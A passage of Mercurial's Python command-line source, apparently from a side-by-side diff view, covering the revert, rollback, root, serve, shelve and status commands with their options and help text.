6352 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
6350 ctx = logcmdutil.revsingle(repo, rev)
6353 ctx = logcmdutil.revsingle(repo, rev)
6351
6354
6352 if not (
6355 if not (
6353 pats
6356 pats
6354 or opts.get(b'include')
6357 or opts.get(b'include')
6355 or opts.get(b'exclude')
6358 or opts.get(b'exclude')
6356 or opts.get(b'all')
6359 or opts.get(b'all')
6357 or opts.get(b'interactive')
6360 or opts.get(b'interactive')
6358 ):
6361 ):
6359 msg = _(b"no files or directories specified")
6362 msg = _(b"no files or directories specified")
6360 if p2 != repo.nullid:
6363 if p2 != repo.nullid:
6361 hint = _(
6364 hint = _(
6362 b"uncommitted merge, use --all to discard all changes,"
6365 b"uncommitted merge, use --all to discard all changes,"
6363 b" or 'hg update -C .' to abort the merge"
6366 b" or 'hg update -C .' to abort the merge"
6364 )
6367 )
6365 raise error.InputError(msg, hint=hint)
6368 raise error.InputError(msg, hint=hint)
6366 dirty = any(repo.status())
6369 dirty = any(repo.status())
6367 node = ctx.node()
6370 node = ctx.node()
6368 if node != parent:
6371 if node != parent:
6369 if dirty:
6372 if dirty:
6370 hint = (
6373 hint = (
6371 _(
6374 _(
6372 b"uncommitted changes, use --all to discard all"
6375 b"uncommitted changes, use --all to discard all"
6373 b" changes, or 'hg update %d' to update"
6376 b" changes, or 'hg update %d' to update"
6374 )
6377 )
6375 % ctx.rev()
6378 % ctx.rev()
6376 )
6379 )
6377 else:
6380 else:
6378 hint = (
6381 hint = (
6379 _(
6382 _(
6380 b"use --all to revert all files,"
6383 b"use --all to revert all files,"
6381 b" or 'hg update %d' to update"
6384 b" or 'hg update %d' to update"
6382 )
6385 )
6383 % ctx.rev()
6386 % ctx.rev()
6384 )
6387 )
6385 elif dirty:
6388 elif dirty:
6386 hint = _(b"uncommitted changes, use --all to discard all changes")
6389 hint = _(b"uncommitted changes, use --all to discard all changes")
6387 else:
6390 else:
6388 hint = _(b"use --all to revert all files")
6391 hint = _(b"use --all to revert all files")
6389 raise error.InputError(msg, hint=hint)
6392 raise error.InputError(msg, hint=hint)
6390
6393
6391 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6394 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6392
6395
6393
6396
6394 @command(
6397 @command(
6395 b'rollback',
6398 b'rollback',
6396 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6399 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6397 helpcategory=command.CATEGORY_MAINTENANCE,
6400 helpcategory=command.CATEGORY_MAINTENANCE,
6398 )
6401 )
6399 def rollback(ui, repo, **opts):
6402 def rollback(ui, repo, **opts):
6400 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6403 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6401
6404
6402 Please use :hg:`commit --amend` instead of rollback to correct
6405 Please use :hg:`commit --amend` instead of rollback to correct
6403 mistakes in the last commit.
6406 mistakes in the last commit.
6404
6407
6405 This command should be used with care. There is only one level of
6408 This command should be used with care. There is only one level of
6406 rollback, and there is no way to undo a rollback. It will also
6409 rollback, and there is no way to undo a rollback. It will also
6407 restore the dirstate at the time of the last transaction, losing
6410 restore the dirstate at the time of the last transaction, losing
6408 any dirstate changes since that time. This command does not alter
6411 any dirstate changes since that time. This command does not alter
6409 the working directory.
6412 the working directory.
6410
6413
6411 Transactions are used to encapsulate the effects of all commands
6414 Transactions are used to encapsulate the effects of all commands
6412 that create new changesets or propagate existing changesets into a
6415 that create new changesets or propagate existing changesets into a
6413 repository.
6416 repository.
6414
6417
6415 .. container:: verbose
6418 .. container:: verbose
6416
6419
6417 For example, the following commands are transactional, and their
6420 For example, the following commands are transactional, and their
6418 effects can be rolled back:
6421 effects can be rolled back:
6419
6422
6420 - commit
6423 - commit
6421 - import
6424 - import
6422 - pull
6425 - pull
6423 - push (with this repository as the destination)
6426 - push (with this repository as the destination)
6424 - unbundle
6427 - unbundle
6425
6428
6426 To avoid permanent data loss, rollback will refuse to rollback a
6429 To avoid permanent data loss, rollback will refuse to rollback a
6427 commit transaction if it isn't checked out. Use --force to
6430 commit transaction if it isn't checked out. Use --force to
6428 override this protection.
6431 override this protection.
6429
6432
6430 The rollback command can be entirely disabled by setting the
6433 The rollback command can be entirely disabled by setting the
6431 ``ui.rollback`` configuration setting to false. If you're here
6434 ``ui.rollback`` configuration setting to false. If you're here
6432 because you want to use rollback and it's disabled, you can
6435 because you want to use rollback and it's disabled, you can
6433 re-enable the command by setting ``ui.rollback`` to true.
6436 re-enable the command by setting ``ui.rollback`` to true.
6434
6437
6435 This command is not intended for use on public repositories. Once
6438 This command is not intended for use on public repositories. Once
6436 changes are visible for pull by other users, rolling a transaction
6439 changes are visible for pull by other users, rolling a transaction
6437 back locally is ineffective (someone else may already have pulled
6440 back locally is ineffective (someone else may already have pulled
6438 the changes). Furthermore, a race is possible with readers of the
6441 the changes). Furthermore, a race is possible with readers of the
6439 repository; for example an in-progress pull from the repository
6442 repository; for example an in-progress pull from the repository
6440 may fail if a rollback is performed.
6443 may fail if a rollback is performed.
6441
6444
6442 Returns 0 on success, 1 if no rollback data is available.
6445 Returns 0 on success, 1 if no rollback data is available.
6443 """
6446 """
6444 if not ui.configbool(b'ui', b'rollback'):
6447 if not ui.configbool(b'ui', b'rollback'):
6445 raise error.Abort(
6448 raise error.Abort(
6446 _(b'rollback is disabled because it is unsafe'),
6449 _(b'rollback is disabled because it is unsafe'),
6447 hint=b'see `hg help -v rollback` for information',
6450 hint=b'see `hg help -v rollback` for information',
6448 )
6451 )
6449 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6452 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6450
6453
6451
6454
6452 @command(
6455 @command(
6453 b'root',
6456 b'root',
6454 [] + formatteropts,
6457 [] + formatteropts,
6455 intents={INTENT_READONLY},
6458 intents={INTENT_READONLY},
6456 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6459 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6457 )
6460 )
6458 def root(ui, repo, **opts):
6461 def root(ui, repo, **opts):
6459 """print the root (top) of the current working directory
6462 """print the root (top) of the current working directory
6460
6463
6461 Print the root directory of the current repository.
6464 Print the root directory of the current repository.
6462
6465
6463 .. container:: verbose
6466 .. container:: verbose
6464
6467
6465 Template:
6468 Template:
6466
6469
6467 The following keywords are supported in addition to the common template
6470 The following keywords are supported in addition to the common template
6468 keywords and functions. See also :hg:`help templates`.
6471 keywords and functions. See also :hg:`help templates`.
6469
6472
6470 :hgpath: String. Path to the .hg directory.
6473 :hgpath: String. Path to the .hg directory.
6471 :storepath: String. Path to the directory holding versioned data.
6474 :storepath: String. Path to the directory holding versioned data.
6472
6475
6473 Returns 0 on success.
6476 Returns 0 on success.
6474 """
6477 """
6475 opts = pycompat.byteskwargs(opts)
6478 opts = pycompat.byteskwargs(opts)
6476 with ui.formatter(b'root', opts) as fm:
6479 with ui.formatter(b'root', opts) as fm:
6477 fm.startitem()
6480 fm.startitem()
6478 fm.write(b'reporoot', b'%s\n', repo.root)
6481 fm.write(b'reporoot', b'%s\n', repo.root)
6479 fm.data(hgpath=repo.path, storepath=repo.spath)
6482 fm.data(hgpath=repo.path, storepath=repo.spath)
6480
6483
6481
6484
6482 @command(
6485 @command(
6483 b'serve',
6486 b'serve',
6484 [
6487 [
6485 (
6488 (
6486 b'A',
6489 b'A',
6487 b'accesslog',
6490 b'accesslog',
6488 b'',
6491 b'',
6489 _(b'name of access log file to write to'),
6492 _(b'name of access log file to write to'),
6490 _(b'FILE'),
6493 _(b'FILE'),
6491 ),
6494 ),
6492 (b'd', b'daemon', None, _(b'run server in background')),
6495 (b'd', b'daemon', None, _(b'run server in background')),
6493 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6496 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6494 (
6497 (
6495 b'E',
6498 b'E',
6496 b'errorlog',
6499 b'errorlog',
6497 b'',
6500 b'',
6498 _(b'name of error log file to write to'),
6501 _(b'name of error log file to write to'),
6499 _(b'FILE'),
6502 _(b'FILE'),
6500 ),
6503 ),
6501 # use string type, then we can check if something was passed
6504 # use string type, then we can check if something was passed
6502 (
6505 (
6503 b'p',
6506 b'p',
6504 b'port',
6507 b'port',
6505 b'',
6508 b'',
6506 _(b'port to listen on (default: 8000)'),
6509 _(b'port to listen on (default: 8000)'),
6507 _(b'PORT'),
6510 _(b'PORT'),
6508 ),
6511 ),
6509 (
6512 (
6510 b'a',
6513 b'a',
6511 b'address',
6514 b'address',
6512 b'',
6515 b'',
6513 _(b'address to listen on (default: all interfaces)'),
6516 _(b'address to listen on (default: all interfaces)'),
6514 _(b'ADDR'),
6517 _(b'ADDR'),
6515 ),
6518 ),
6516 (
6519 (
6517 b'',
6520 b'',
6518 b'prefix',
6521 b'prefix',
6519 b'',
6522 b'',
6520 _(b'prefix path to serve from (default: server root)'),
6523 _(b'prefix path to serve from (default: server root)'),
6521 _(b'PREFIX'),
6524 _(b'PREFIX'),
6522 ),
6525 ),
6523 (
6526 (
6524 b'n',
6527 b'n',
6525 b'name',
6528 b'name',
6526 b'',
6529 b'',
6527 _(b'name to show in web pages (default: working directory)'),
6530 _(b'name to show in web pages (default: working directory)'),
6528 _(b'NAME'),
6531 _(b'NAME'),
6529 ),
6532 ),
6530 (
6533 (
6531 b'',
6534 b'',
6532 b'web-conf',
6535 b'web-conf',
6533 b'',
6536 b'',
6534 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6537 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6535 _(b'FILE'),
6538 _(b'FILE'),
6536 ),
6539 ),
6537 (
6540 (
6538 b'',
6541 b'',
6539 b'webdir-conf',
6542 b'webdir-conf',
6540 b'',
6543 b'',
6541 _(b'name of the hgweb config file (DEPRECATED)'),
6544 _(b'name of the hgweb config file (DEPRECATED)'),
6542 _(b'FILE'),
6545 _(b'FILE'),
6543 ),
6546 ),
6544 (
6547 (
6545 b'',
6548 b'',
6546 b'pid-file',
6549 b'pid-file',
6547 b'',
6550 b'',
6548 _(b'name of file to write process ID to'),
6551 _(b'name of file to write process ID to'),
6549 _(b'FILE'),
6552 _(b'FILE'),
6550 ),
6553 ),
6551 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6554 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6552 (
6555 (
6553 b'',
6556 b'',
6554 b'cmdserver',
6557 b'cmdserver',
6555 b'',
6558 b'',
6556 _(b'for remote clients (ADVANCED)'),
6559 _(b'for remote clients (ADVANCED)'),
6557 _(b'MODE'),
6560 _(b'MODE'),
6558 ),
6561 ),
6559 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6562 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6560 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6563 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6561 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6564 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6562 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6565 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6563 (b'', b'print-url', None, _(b'start and print only the URL')),
6566 (b'', b'print-url', None, _(b'start and print only the URL')),
6564 ]
6567 ]
6565 + subrepoopts,
6568 + subrepoopts,
6566 _(b'[OPTION]...'),
6569 _(b'[OPTION]...'),
6567 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6570 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6568 helpbasic=True,
6571 helpbasic=True,
6569 optionalrepo=True,
6572 optionalrepo=True,
6570 )
6573 )
6571 def serve(ui, repo, **opts):
6574 def serve(ui, repo, **opts):
6572 """start stand-alone webserver
6575 """start stand-alone webserver
6573
6576
6574 Start a local HTTP repository browser and pull server. You can use
6577 Start a local HTTP repository browser and pull server. You can use
6575 this for ad-hoc sharing and browsing of repositories. It is
6578 this for ad-hoc sharing and browsing of repositories. It is
6576 recommended to use a real web server to serve a repository for
6579 recommended to use a real web server to serve a repository for
6577 longer periods of time.
6580 longer periods of time.
6578
6581
6579 Please note that the server does not implement access control.
6582 Please note that the server does not implement access control.
6580 This means that, by default, anybody can read from the server and
6583 This means that, by default, anybody can read from the server and
6581 nobody can write to it by default. Set the ``web.allow-push``
6584 nobody can write to it by default. Set the ``web.allow-push``
6582 option to ``*`` to allow everybody to push to the server. You
6585 option to ``*`` to allow everybody to push to the server. You
6583 should use a real web server if you need to authenticate users.
6586 should use a real web server if you need to authenticate users.
6584
6587
6585 By default, the server logs accesses to stdout and errors to
6588 By default, the server logs accesses to stdout and errors to
6586 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6589 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6587 files.
6590 files.
6588
6591
6589 To have the server choose a free port number to listen on, specify
6592 To have the server choose a free port number to listen on, specify
6590 a port number of 0; in this case, the server will print the port
6593 a port number of 0; in this case, the server will print the port
6591 number it uses.
6594 number it uses.
6592
6595
6593 Returns 0 on success.
6596 Returns 0 on success.
6594 """
6597 """
6595
6598
6596 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6599 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6597 opts = pycompat.byteskwargs(opts)
6600 opts = pycompat.byteskwargs(opts)
6598 if opts[b"print_url"] and ui.verbose:
6601 if opts[b"print_url"] and ui.verbose:
6599 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6602 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6600
6603
6601 if opts[b"stdio"]:
6604 if opts[b"stdio"]:
6602 if repo is None:
6605 if repo is None:
6603 raise error.RepoError(
6606 raise error.RepoError(
6604 _(b"there is no Mercurial repository here (.hg not found)")
6607 _(b"there is no Mercurial repository here (.hg not found)")
6605 )
6608 )
6606 s = wireprotoserver.sshserver(ui, repo)
6609 s = wireprotoserver.sshserver(ui, repo)
6607 s.serve_forever()
6610 s.serve_forever()
6608 return
6611 return
6609
6612
6610 service = server.createservice(ui, repo, opts)
6613 service = server.createservice(ui, repo, opts)
6611 return server.runservice(opts, initfn=service.init, runfn=service.run)
6614 return server.runservice(opts, initfn=service.init, runfn=service.run)
6612
6615
6613
6616
6614 @command(
6617 @command(
6615 b'shelve',
6618 b'shelve',
6616 [
6619 [
6617 (
6620 (
6618 b'A',
6621 b'A',
6619 b'addremove',
6622 b'addremove',
6620 None,
6623 None,
6621 _(b'mark new/missing files as added/removed before shelving'),
6624 _(b'mark new/missing files as added/removed before shelving'),
6622 ),
6625 ),
6623 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6626 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6624 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6627 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6625 (
6628 (
6626 b'',
6629 b'',
6627 b'date',
6630 b'date',
6628 b'',
6631 b'',
6629 _(b'shelve with the specified commit date'),
6632 _(b'shelve with the specified commit date'),
6630 _(b'DATE'),
6633 _(b'DATE'),
6631 ),
6634 ),
6632 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6635 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6633 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6636 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6634 (
6637 (
6635 b'k',
6638 b'k',
6636 b'keep',
6639 b'keep',
6637 False,
6640 False,
6638 _(b'shelve, but keep changes in the working directory'),
6641 _(b'shelve, but keep changes in the working directory'),
6639 ),
6642 ),
6640 (b'l', b'list', None, _(b'list current shelves')),
6643 (b'l', b'list', None, _(b'list current shelves')),
6641 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6644 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6642 (
6645 (
6643 b'n',
6646 b'n',
6644 b'name',
6647 b'name',
6645 b'',
6648 b'',
6646 _(b'use the given name for the shelved commit'),
6649 _(b'use the given name for the shelved commit'),
6647 _(b'NAME'),
6650 _(b'NAME'),
6648 ),
6651 ),
6649 (
6652 (
6650 b'p',
6653 b'p',
6651 b'patch',
6654 b'patch',
6652 None,
6655 None,
6653 _(
6656 _(
6654 b'output patches for changes (provide the names of the shelved '
6657 b'output patches for changes (provide the names of the shelved '
6655 b'changes as positional arguments)'
6658 b'changes as positional arguments)'
6656 ),
6659 ),
6657 ),
6660 ),
6658 (b'i', b'interactive', None, _(b'interactive mode')),
6661 (b'i', b'interactive', None, _(b'interactive mode')),
6659 (
6662 (
6660 b'',
6663 b'',
6661 b'stat',
6664 b'stat',
6662 None,
6665 None,
6663 _(
6666 _(
6664 b'output diffstat-style summary of changes (provide the names of '
6667 b'output diffstat-style summary of changes (provide the names of '
6665 b'the shelved changes as positional arguments)'
6668 b'the shelved changes as positional arguments)'
6666 ),
6669 ),
6667 ),
6670 ),
6668 ]
6671 ]
6669 + cmdutil.walkopts,
6672 + cmdutil.walkopts,
6670 _(b'hg shelve [OPTION]... [FILE]...'),
6673 _(b'hg shelve [OPTION]... [FILE]...'),
6671 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6674 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6672 )
6675 )
6673 def shelve(ui, repo, *pats, **opts):
6676 def shelve(ui, repo, *pats, **opts):
6674 """save and set aside changes from the working directory
6677 """save and set aside changes from the working directory
6675
6678
6676 Shelving takes files that "hg status" reports as not clean, saves
6679 Shelving takes files that "hg status" reports as not clean, saves
6677 the modifications to a bundle (a shelved change), and reverts the
6680 the modifications to a bundle (a shelved change), and reverts the
6678 files so that their state in the working directory becomes clean.
6681 files so that their state in the working directory becomes clean.
6679
6682
6680 To restore these changes to the working directory, using "hg
6683 To restore these changes to the working directory, using "hg
6681 unshelve"; this will work even if you switch to a different
6684 unshelve"; this will work even if you switch to a different
6682 commit.
6685 commit.
6683
6686
6684 When no files are specified, "hg shelve" saves all not-clean
6687 When no files are specified, "hg shelve" saves all not-clean
6685 files. If specific files or directories are named, only changes to
6688 files. If specific files or directories are named, only changes to
6686 those files are shelved.
6689 those files are shelved.
6687
6690
6688 In bare shelve (when no files are specified, without interactive,
6691 In bare shelve (when no files are specified, without interactive,
6689 include and exclude option), shelving remembers information if the
6692 include and exclude option), shelving remembers information if the
6690 working directory was on newly created branch, in other words working
6693 working directory was on newly created branch, in other words working
6691 directory was on different branch than its first parent. In this
6694 directory was on different branch than its first parent. In this
6692 situation unshelving restores branch information to the working directory.
6695 situation unshelving restores branch information to the working directory.
6693
6696
6694 Each shelved change has a name that makes it easier to find later.
6697 Each shelved change has a name that makes it easier to find later.
6695 The name of a shelved change defaults to being based on the active
6698 The name of a shelved change defaults to being based on the active
6696 bookmark, or if there is no active bookmark, the current named
6699 bookmark, or if there is no active bookmark, the current named
6697 branch. To specify a different name, use ``--name``.
6700 branch. To specify a different name, use ``--name``.
6698
6701
6699 To see a list of existing shelved changes, use the ``--list``
6702 To see a list of existing shelved changes, use the ``--list``
6700 option. For each shelved change, this will print its name, age,
6703 option. For each shelved change, this will print its name, age,
6701 and description; use ``--patch`` or ``--stat`` for more details.
6704 and description; use ``--patch`` or ``--stat`` for more details.
6702
6705
6703 To delete specific shelved changes, use ``--delete``. To delete
6706 To delete specific shelved changes, use ``--delete``. To delete
6704 all shelved changes, use ``--cleanup``.
6707 all shelved changes, use ``--cleanup``.
6705 """
6708 """
6706 opts = pycompat.byteskwargs(opts)
6709 opts = pycompat.byteskwargs(opts)
6707 allowables = [
6710 allowables = [
6708 (b'addremove', {b'create'}), # 'create' is pseudo action
6711 (b'addremove', {b'create'}), # 'create' is pseudo action
6709 (b'unknown', {b'create'}),
6712 (b'unknown', {b'create'}),
6710 (b'cleanup', {b'cleanup'}),
6713 (b'cleanup', {b'cleanup'}),
6711 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6714 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6712 (b'delete', {b'delete'}),
6715 (b'delete', {b'delete'}),
6713 (b'edit', {b'create'}),
6716 (b'edit', {b'create'}),
6714 (b'keep', {b'create'}),
6717 (b'keep', {b'create'}),
6715 (b'list', {b'list'}),
6718 (b'list', {b'list'}),
6716 (b'message', {b'create'}),
6719 (b'message', {b'create'}),
6717 (b'name', {b'create'}),
6720 (b'name', {b'create'}),
6718 (b'patch', {b'patch', b'list'}),
6721 (b'patch', {b'patch', b'list'}),
6719 (b'stat', {b'stat', b'list'}),
6722 (b'stat', {b'stat', b'list'}),
6720 ]
6723 ]
6721
6724
6722 def checkopt(opt):
6725 def checkopt(opt):
6723 if opts.get(opt):
6726 if opts.get(opt):
6724 for i, allowable in allowables:
6727 for i, allowable in allowables:
6725 if opts[i] and opt not in allowable:
6728 if opts[i] and opt not in allowable:
6726 raise error.InputError(
6729 raise error.InputError(
6727 _(
6730 _(
6728 b"options '--%s' and '--%s' may not be "
6731 b"options '--%s' and '--%s' may not be "
6729 b"used together"
6732 b"used together"
6730 )
6733 )
6731 % (opt, i)
6734 % (opt, i)
6732 )
6735 )
6733 return True
6736 return True
6734
6737
6735 if checkopt(b'cleanup'):
6738 if checkopt(b'cleanup'):
6736 if pats:
6739 if pats:
6737 raise error.InputError(
6740 raise error.InputError(
6738 _(b"cannot specify names when using '--cleanup'")
6741 _(b"cannot specify names when using '--cleanup'")
6739 )
6742 )
6740 return shelvemod.cleanupcmd(ui, repo)
6743 return shelvemod.cleanupcmd(ui, repo)
6741 elif checkopt(b'delete'):
6744 elif checkopt(b'delete'):
6742 return shelvemod.deletecmd(ui, repo, pats)
6745 return shelvemod.deletecmd(ui, repo, pats)
6743 elif checkopt(b'list'):
6746 elif checkopt(b'list'):
6744 return shelvemod.listcmd(ui, repo, pats, opts)
6747 return shelvemod.listcmd(ui, repo, pats, opts)
6745 elif checkopt(b'patch') or checkopt(b'stat'):
6748 elif checkopt(b'patch') or checkopt(b'stat'):
6746 return shelvemod.patchcmds(ui, repo, pats, opts)
6749 return shelvemod.patchcmds(ui, repo, pats, opts)
6747 else:
6750 else:
6748 return shelvemod.createcmd(ui, repo, pats, opts)
6751 return shelvemod.createcmd(ui, repo, pats, opts)
6749
6752
6750
6753
6751 _NOTTERSE = b'nothing'
6754 _NOTTERSE = b'nothing'
6752
6755
6753
6756
6754 @command(
6757 @command(
6755 b'status|st',
6758 b'status|st',
6756 [
6759 [
6757 (b'A', b'all', None, _(b'show status of all files')),
6760 (b'A', b'all', None, _(b'show status of all files')),
6758 (b'm', b'modified', None, _(b'show only modified files')),
6761 (b'm', b'modified', None, _(b'show only modified files')),
6759 (b'a', b'added', None, _(b'show only added files')),
6762 (b'a', b'added', None, _(b'show only added files')),
6760 (b'r', b'removed', None, _(b'show only removed files')),
6763 (b'r', b'removed', None, _(b'show only removed files')),
6761 (b'd', b'deleted', None, _(b'show only missing files')),
6764 (b'd', b'deleted', None, _(b'show only missing files')),
6762 (b'c', b'clean', None, _(b'show only files without changes')),
6765 (b'c', b'clean', None, _(b'show only files without changes')),
6763 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6766 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6764 (b'i', b'ignored', None, _(b'show only ignored files')),
6767 (b'i', b'ignored', None, _(b'show only ignored files')),
6765 (b'n', b'no-status', None, _(b'hide status prefix')),
6768 (b'n', b'no-status', None, _(b'hide status prefix')),
6766 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6769 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6767 (
6770 (
6768 b'C',
6771 b'C',
6769 b'copies',
6772 b'copies',
6770 None,
6773 None,
6771 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6774 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6772 ),
6775 ),
6773 (
6776 (
6774 b'0',
6777 b'0',
6775 b'print0',
6778 b'print0',
6776 None,
6779 None,
6777 _(b'end filenames with NUL, for use with xargs'),
6780 _(b'end filenames with NUL, for use with xargs'),
6778 ),
6781 ),
6779 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6782 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6780 (
6783 (
6781 b'',
6784 b'',
6782 b'change',
6785 b'change',
6783 b'',
6786 b'',
6784 _(b'list the changed files of a revision'),
6787 _(b'list the changed files of a revision'),
6785 _(b'REV'),
6788 _(b'REV'),
6786 ),
6789 ),
6787 ]
6790 ]
6788 + walkopts
6791 + walkopts
6789 + subrepoopts
6792 + subrepoopts
6790 + formatteropts,
6793 + formatteropts,
6791 _(b'[OPTION]... [FILE]...'),
6794 _(b'[OPTION]... [FILE]...'),
6792 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6795 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6793 helpbasic=True,
6796 helpbasic=True,
6794 inferrepo=True,
6797 inferrepo=True,
6795 intents={INTENT_READONLY},
6798 intents={INTENT_READONLY},
6796 )
6799 )
6797 def status(ui, repo, *pats, **opts):
6800 def status(ui, repo, *pats, **opts):
6798 """show changed files in the working directory
6801 """show changed files in the working directory
6799
6802
6800 Show status of files in the repository. If names are given, only
6803 Show status of files in the repository. If names are given, only
6801 files that match are shown. Files that are clean or ignored or
6804 files that match are shown. Files that are clean or ignored or
6802 the source of a copy/move operation, are not listed unless
6805 the source of a copy/move operation, are not listed unless
6803 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6806 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6804 Unless options described with "show only ..." are given, the
6807 Unless options described with "show only ..." are given, the
6805 options -mardu are used.
6808 options -mardu are used.
6806
6809
6807 Option -q/--quiet hides untracked (unknown and ignored) files
6810 Option -q/--quiet hides untracked (unknown and ignored) files
6808 unless explicitly requested with -u/--unknown or -i/--ignored.
6811 unless explicitly requested with -u/--unknown or -i/--ignored.
6809
6812
6810 .. note::
6813 .. note::
6811
6814
6812 :hg:`status` may appear to disagree with diff if permissions have
6815 :hg:`status` may appear to disagree with diff if permissions have
6813 changed or a merge has occurred. The standard diff format does
6816 changed or a merge has occurred. The standard diff format does
6814 not report permission changes and diff only reports changes
6817 not report permission changes and diff only reports changes
6815 relative to one merge parent.
6818 relative to one merge parent.
6816
6819
6817 If one revision is given, it is used as the base revision.
6820 If one revision is given, it is used as the base revision.
6818 If two revisions are given, the differences between them are
6821 If two revisions are given, the differences between them are
6819 shown. The --change option can also be used as a shortcut to list
6822 shown. The --change option can also be used as a shortcut to list
6820 the changed files of a revision from its first parent.
6823 the changed files of a revision from its first parent.
6821
6824
6822 The codes used to show the status of files are::
6825 The codes used to show the status of files are::
6823
6826
6824 M = modified
6827 M = modified
6825 A = added
6828 A = added
6826 R = removed
6829 R = removed
6827 C = clean
6830 C = clean
6828 ! = missing (deleted by non-hg command, but still tracked)
6831 ! = missing (deleted by non-hg command, but still tracked)
6829 ? = not tracked
6832 ? = not tracked
6830 I = ignored
6833 I = ignored
6831 = origin of the previous file (with --copies)
6834 = origin of the previous file (with --copies)
6832
6835
6833 .. container:: verbose
6836 .. container:: verbose
6834
6837
6835 The -t/--terse option abbreviates the output by showing only the directory
6838 The -t/--terse option abbreviates the output by showing only the directory
6836 name if all the files in it share the same status. The option takes an
6839 name if all the files in it share the same status. The option takes an
6837 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6840 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6838 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6841 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6839 for 'ignored' and 'c' for clean.
6842 for 'ignored' and 'c' for clean.
6840
6843
6841 It abbreviates only those statuses which are passed. Note that clean and
6844 It abbreviates only those statuses which are passed. Note that clean and
6842 ignored files are not displayed with '--terse ic' unless the -c/--clean
6845 ignored files are not displayed with '--terse ic' unless the -c/--clean
6843 and -i/--ignored options are also used.
6846 and -i/--ignored options are also used.
6844
6847
6845 The -v/--verbose option shows information when the repository is in an
6848 The -v/--verbose option shows information when the repository is in an
6846 unfinished merge, shelve, rebase state etc. You can have this behavior
6849 unfinished merge, shelve, rebase state etc. You can have this behavior
6847 turned on by default by enabling the ``commands.status.verbose`` option.
6850 turned on by default by enabling the ``commands.status.verbose`` option.
6848
6851
6849 You can skip displaying some of these states by setting
6852 You can skip displaying some of these states by setting
6850 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6853 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6851 'histedit', 'merge', 'rebase', or 'unshelve'.
6854 'histedit', 'merge', 'rebase', or 'unshelve'.
6852
6855
6853 Template:
6856 Template:
6854
6857
6855 The following keywords are supported in addition to the common template
6858 The following keywords are supported in addition to the common template
6856 keywords and functions. See also :hg:`help templates`.
6859 keywords and functions. See also :hg:`help templates`.
6857
6860
6858 :path: String. Repository-absolute path of the file.
6861 :path: String. Repository-absolute path of the file.
6859 :source: String. Repository-absolute path of the file originated from.
6862 :source: String. Repository-absolute path of the file originated from.
6860 Available if ``--copies`` is specified.
6863 Available if ``--copies`` is specified.
6861 :status: String. Character denoting file's status.
6864 :status: String. Character denoting file's status.
6862
6865
6863 Examples:
6866 Examples:
6864
6867
6865 - show changes in the working directory relative to a
6868 - show changes in the working directory relative to a
6866 changeset::
6869 changeset::
6867
6870
6868 hg status --rev 9353
